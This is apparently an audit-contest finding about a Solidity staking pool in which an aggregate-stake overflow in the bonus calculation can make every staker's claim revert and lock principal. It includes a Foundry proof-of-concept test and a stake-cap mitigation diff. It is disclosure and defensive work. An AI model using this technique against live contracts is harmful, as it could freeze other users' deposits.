FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

k=2 score overflow can lock all staker claims

Author Revealed upon completion

Description

Every stake accepted from a supported standard ERC20 should remain claimable after a valid terminal outcome.

The k=2 bonus calculation expands amount * (T - entryTime)^2 into absolute timestamp moments. The stored moments can be safe when a stake enters, while the later additions in _bonusShare() overflow after T advances. The mathematically equivalent centered score still fits, but Solidity reverts before reaching Math.mulDiv.

The global expression is evaluated for every claimant. Therefore, one sufficiently large stake can make even a small honest staker's claim revert. This raw-unit threshold is reachable with a standards-compliant high-decimal ERC20; at the repository's realistic base timestamp, the PoC uses less than 0.02 token at 60 decimals.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// @> No cap guarantees that the aggregate moments remain safe at a later terminal T.
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _bonusShare(address u, uint256 userEligible)
internal
view
returns (uint256)
{
uint256 T = outcomeFlaggedAt;
// @> These absolute-timestamp additions can overflow even when the final centered score fits.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
// @> A whale's aggregate stake makes this overflow for every claimant.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood:

  • This occurs when an allowlisted standard ERC20 has a very large raw-unit supply or high decimal precision and aggregate stake approaches the arithmetic bound.

  • Any positive bonus causes _bonusShare() to execute after SURVIVED or EXPIRED resolution.

Impact:

  • A large staker can make every staker's claim revert, including claims for small honest deposits.

  • Principal remains locked because withdrawals are disabled after the risk window opens and no principal-only claim path bypasses _bonusShare().

Proof of Concept

Place PoC.t.sol in test/ and run:

forge test test/PoC.t.sol -vvv
function test_ScoreOverflow() external {
uint256 t = block.timestamp;
uint256 total = type(uint256).max / (2 * t * t);
address victim = alice;
address whale = bob;
assertLt(total, 1e60);
_stake(victim, ONE);
_stake(whale, total - ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, 1);
vm.warp(t + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(victim);
vm.expectRevert(abi.encodeWithSelector(bytes4(0x4e487b71), uint256(0x11)));
pool.claimSurvived();
assertEq(pool.eligibleStake(victim), ONE);
assertEq(token.balanceOf(address(pool)), total + 1);
}

The complete file defines a standard 60-decimal ERC20 and reuses the repository's existing unit-test mocks. It does not require a BattleChain RPC.

Recommended Mitigation

Cap aggregate stake against the largest possible scoring timestamp, which is bounded by expiry, or replace the expanded absolute-time formula with wider centered arithmetic.

+ error StakeCapExceeded();
+
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+
+ uint256 e = uint256(expiry);
+ uint256 maxTotalStake = type(uint256).max / (2 * e * e);
+ if (
+ received > maxTotalStake
+ || totalEligibleStake > maxTotalStake - received
+ ) {
+ revert StakeCapExceeded();
+ }
_clampUserSums(msg.sender);
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!